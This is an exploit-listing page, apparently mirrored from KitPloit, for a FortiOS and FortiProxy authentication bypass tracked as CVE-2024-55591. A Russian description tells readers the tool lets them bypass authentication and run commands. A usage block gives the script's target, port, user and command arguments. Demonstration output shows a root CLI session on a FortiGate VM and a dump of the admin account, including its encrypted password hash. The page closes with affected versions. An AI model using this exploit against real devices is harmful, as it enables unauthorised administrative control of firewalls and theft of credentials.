Sploitus

fortios-auth-bypass-exploit

CVE-2024-55591

kitploit · 2026-08-25

Exploit Code

MARKDOWN61 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SYSIRQ-FORTIOS-AUTH-BYPASS-EXPLOIT-CVE-2024-55591
# CVE-2024-55591

A Fortinet FortiOS Authentication Bypass Vulnerable Exploit

# Описание

Используйте этот эксплойт, и вы сможете обойти аутентификацию и выполнять команды

# ИСПОЛЬЗОВАНИЕ

root@kitploit:~
    
    
    sysirq@sysirq-machine:~/Work/Fortinet/FortiGate_7_0_16/CVE-2024-55591$ python3 exp.py 
    usage: exp.py [-h] --target TARGET [--port PORT] [--username USERNAME] [--cmd CMD]
    exp.py: error: the following arguments are required: --target/-t
    

# Демонстрация

![image-20250122220404985](https://assets.kitploit.com/production/public/readmes/33131/5944540faccbd887d01158cb2054f5f90b26ea5b79c1a3a84e0d89f2d89b1563.png)

![image-20250122220502121](https://assets.kitploit.com/production/public/readmes/33131/f91377d0b9d9dddd9069d0c21e37959e25c8960ba041ce903fb45ff22b7c33ad.png)

![image-20250122220502121](https://assets.kitploit.com/production/public/readmes/33131/ec425176b88d5818323422e937a4e68ba4776af97424065010800a465d4974a5.gif)

# Вывод

root@kitploit:~
    
    
    sysirq@sysirq-machine:~/Work/Fortinet/FortiGate_7_0_16/CVE-2024-55591$ python3 exp.py -t 192.168.182.188 -p 443 -u admin -c 'show system admin'
    CLI websocket initialized
    \x00l_Process_Access" "Local_Process_Access" "root" "" ""  \x08"none" [192.168.182.1]:35950 [192.168.182.188]:443
    Unknown action 0
    
    FortiGate-VM64-KVM # 
    wait for next action
    CLI websocket initialized
    \x00_Process_Access" "Local_Process_Access" "root" "" ""  \x08"none" [192.168.182.1]:40050 [192.168.182.188]:443
    Unknown action 0
    
    FortiGate-VM64-KVM # 
    wait for next action
    CLI websocket initialized
    \x00 system admin
    config system admin
        edit "admin"
            set accprofile "super_admin"
            set vdom "root"
            set password ENC SH2brnbwbooMvuSyHfEe82/cs0ehaIB2Kf06G/QYlI67PLGoEVKGJCGbYGqItg=
        next
    end
    

# Затронутые версии

  * FortiOS 7.0.0 through 7.0.16
  * FortiProxy 7.0.0 through 7.0.19
  * FortiProxy 7.2.0 through 7.2.12